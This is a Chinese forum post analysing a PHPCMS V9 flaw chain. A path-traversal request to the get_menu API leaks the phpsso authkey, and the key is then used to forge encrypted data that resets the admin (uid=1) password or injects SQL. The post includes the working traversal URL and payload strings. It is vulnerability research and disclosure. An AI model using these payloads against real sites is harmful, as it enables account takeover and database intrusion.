authkey泄露可以导致一系列安全问题
之前是在有一个《PHPCMS V9 一个为所欲为的漏洞》。可以参考这篇文章，这这篇文章的作者爆了这样一个点
[PHP] 纯文本查看 复制代码 public function getapplist() {
$applist = getcache('applist', 'admin');
exit(serialize($applist));
}
厂商同学直接忽略了，但是却自己修复了（不评论），修复为
[PHP] 纯文本查看 复制代码 public function getapplist() {
$applist = getcache('applist', 'admin');
foreach($applist as $key=>$value){
unset($applist[$key]['authkey']);
}
exit(serialize($applist));
修复得很不仔细，看来厂商真的觉得这不是个洞。好啊，那么肯定就会有其它点了，既然不重视这个点，我们来看\api\get_menu.php:
[PHP] 纯文本查看 复制代码 function ajax_getlist() {
$cachefile = $_GET['cachefile'];
$cachefile = str_replace(array('/', '//'), '', $cachefile);
//$cachefile = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $cachefile);
$path = $_GET['path'];
$path = str_replace(array('/', '//'), '', $path);
//$path = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $path);
$title = $_GET['title'];
$key = $_GET['key'];
$infos = getcache($cachefile,$path);
$where_id = intval($_GET['parentid']);
$parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]);
foreach($infos AS $k=>$v) {
if($v['parentid'] == $where_id) {
if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
$s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
}
}
if(count($s)>0) {
$jsonstr = json_encode($s);
echo trim_script($_GET['callback']).'(',$jsonstr,')';
exit;
} else {
echo trim_script($_GET['callback']).'()';exit;
}
}
其中的getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件，并读取内容。
那么如果这样的链接会督导什么内容呢？
[AppleScript] 纯文本查看 复制代码 http://www.test.org/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
不过这里厂商又会忽略的。那么我们看看authkey怎么用
在\phpsso_server\phpcms\modules\phpsso\index.php中含有如下函数：
[PHP] 纯文本查看 复制代码 public function edit() {
$this->email = isset($this->data['email']) ? $this->data['email'] : '';
$this->uid = isset($this->data['uid']) ? $this->data['uid'] : '';
$userinfo = $this->getuserinfo(1);
if (isset($this->data['password']) && !empty($this->data['password'])) {
$this->password = create_password($this->data['password'], $userinfo['random']);
}
$this->random = !empty($this->data['random']) ? $this->data['random'] : $userinfo['random'];
if (isset($this->data['newpassword']) && !empty($this->data['newpassword'])) {
$this->newpassword = create_password($this->data['newpassword'], $this->random);
}
if ($userinfo == -1) {
exit('-1');
}
if (isset($this->password) && !empty($this->password) && $userinfo['password'] != $this->password) {
exit('-2');
}
if ($this->email && $userinfo['email'] != $this->email) {
if($this->checkemail(1) == -1) exit('-3');
}
$data = array();
$data['appname'] = $this->applist[$this->appid]['name'];
if (!empty($this->email) && $userinfo['email'] != $this->email) {
$data['email'] = $this->email;
}
if (isset($this->newpassword) && $userinfo['password'] != $this->newpassword) {
$data['password'] = $this->newpassword;
$data['random'] = $this->random;
}
if (!empty($data)) {
//ucenter部份
if ($this->config['ucuse']) {
pc_base::load_config('uc_config');
require_once PHPCMS_PATH.'api/uc_client/client.php';
$r = uc_user_edit($userinfo['username'], '', (isset($this->data['newpassword']) && !empty($this->data['newpassword']) ? $this->data['newpassword'] : ''), $data['email'],1);
if ($r != 1) {
//{-1:用户不存在;-2:旧密码错误;-3:email已经存在 ;1:成功;0:未作修改}
switch ($r) {
case '-1':
exit('-2');
break;
case '0':
case '-4':
case '-5':
case '-6':
case '-7':
case '-8':
exit('0');
break;
}
}
}
if (empty($data['email'])) unset($data['email']);
/*插入消息队列*/
$noticedata = $data;
$noticedata['uid'] = $userinfo['uid'];
messagequeue::add('member_edit', $noticedata);
if($this->username) {
$res = $this->db->update($data, array('username'=>$this->username));
} else {
$res = $this->db->update($data, array('uid'=>$this->uid));
}
exit("$res");
} else {
exit('0');
}
}
里面有数据库的操作，应该是用于密码更改的。我们来构造一个data数据，加密前：
[PHP] 纯文本查看 复制代码 uid=1&newpassword=admin123456
利用上面的authkey以及cms自带的加解密函数即可进行加密。在这里，我们除了可以修改密码，还可以进行注入
[PHP] 纯文本查看 复制代码 uid=1&email=123'
具体的利用方式可参考
http://0cx.cc/phpcms_phpsso_auth_key.jspx | 
发表于 2015-6-7 09:57:38
发表于 2015-6-26 23:27:08
